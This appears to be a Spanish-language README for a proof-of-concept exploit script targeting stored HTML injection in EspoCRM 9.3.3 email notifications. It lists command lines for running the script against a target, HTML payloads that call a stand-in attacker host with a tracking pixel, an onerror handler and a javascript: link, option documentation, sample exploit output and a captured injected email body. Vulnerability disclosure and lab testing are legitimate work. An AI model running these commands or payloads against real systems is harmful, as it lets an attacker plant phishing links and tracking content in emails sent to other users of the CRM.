
EspoCRM 9.3.3 - Inyección de HTML almacenada en notificaciones por correo electrónico
Prueba de concepto autenticada para la inyección de HTML almacenado en las notificaciones por correo electrónico de EspoCRM 9.3.3.
EspoCRM 9.3.3 renderiza los correos de notificación de publicaciones de stream transformando el cuerpo de la nota con Markdown e insertando el HTML resultante en las plantillas de correo con llaves triples ({{{post}}}). Un usuario autenticado que pueda crear una publicación de stream y activar una notificación puede almacenar HTML controlado por el atacante que posteriormente se renderiza en el cuerpo del correo generado.
El exploit ejecuta la parte remota controlada por el atacante del flujo:
/api/v1/App/user.Note maliciosa que contiene HTML.--mention o --target-user-id para poner en cola un destinatario de notificación.La entrega del correo ocurre cuando el trabajo normal SendEmailNotifications de EspoCRM o el cron procesa la notificación en cola.
requestsNote de stream--mention <usuario> para notificaciones por correo de menciones, o--target-user-id <id> para notificaciones dirigidas de publicaciones de streamInstalar la dependencia:
python3 -m pip install requests
Ruta preferida basada en menciones:
python3 CVE-2026-33657.py \
-u http://127.0.0.1:8083 \
-U testuser \
-P 'Admin12345!' \
--mention admin
Usar una URL de seguimiento personalizada:
python3 CVE-2026-33657.py \
-u https://target.example \
-U user \
-P 'password' \
--mention victim \
--tracking-url https://attacker.example/pixel.gif
Usar un payload HTML totalmente personalizado:
python3 CVE-2026-33657.py \
-u https://target.example \
-U user \
-P 'password' \
--mention victim \
--payload '<img src="https://attacker.example/p.gif" onerror="alert(33657)"><a href="javascript:alert(33657)">open</a>'
Apuntar a un id de usuario específico en lugar de una mención:
python3 CVE-2026-33657.py \
-u https://target.example \
-U user \
-P 'password' \
--target-user-id 0123456789abcdef0 \
--target-user-name 'Victim User'
Solo obtener la huella de la versión, sin crear una nota:
python3 CVE-2026-33657.py \
-u https://target.example \
-U user \
-P 'password' \
--detect-only
-u, --url URL base de EspoCRM
-U, --username Usuario de EspoCRM
-P, --password Contraseña de EspoCRM
--mention Usuario a mencionar, sin @
--target-user-id Id de usuario para notificaciones dirigidas de publicaciones de stream
--target-user-name Nombre mostrado para --target-user-id
--payload Payload HTML sin procesar para almacenar en la Note
--tracking-url URL del píxel de seguimiento usada por el payload predeterminado
--link-url URL del enlace usada por el payload predeterminado
--marker Texto marcador antepuesto al payload
--detect-only Solo obtener la huella de la versión; no crear una Note
--skip-version-check Omitir /api/v1/App/user antes de la explotación
--force Continuar incluso si la huella de la versión no es 9.3.3
--insecure Deshabilitar la verificación del certificado TLS
Una ejecución exitosa crea una nota maliciosa y confirma el destinatario de la notificación:
[*] /api/v1/App/user: HTTP 200
[*] Detected version: 9.3.3
[+] Version fingerprint is vulnerable: EspoCRM 9.3.3.
[*] Creating malicious Note as testuser
[*] Note response: HTTP 200 ...
[+] Exploit payload stored in Note post.
[+] Note id: 69fddeef8db756271
[+] Mention parsed: @admin -> user id 69fdcfb66c34ccb81
[+] Notification target list returned by API: 69fdcfb66c34ccb81
[+] Complete remote trigger submitted.
En una instancia vulnerable, el cuerpo del correo HTML generado conserva el HTML inyectado. Una captura de laboratorio se ve así:
<img src="http://attacker.example/full-process.gif" width="1" height="1" onerror="alert(33657)">
<a href="javascript:alert(33657)" style="color:red">re-auth</a>
En un laboratorio local de EspoCRM, después de ejecutar el exploit, active el trabajo de notificación:
sudo -u www-data php command.php run-job SendEmailNotifications
El cuerpo del correo resultante debe contener el HTML inyectado en la parte text/html.
@@version, el objetivo probablemente sea una compilación del árbol de fuentes. El script continúa porque el código subyacente puede seguir siendo la etiqueta vulnerable 9.3.3.--mention no produce una mención analizada, verifique los messagePermission y mentionPermission del atacante, y confirme que el nombre de usuario objetivo existe y puede recibir notificaciones.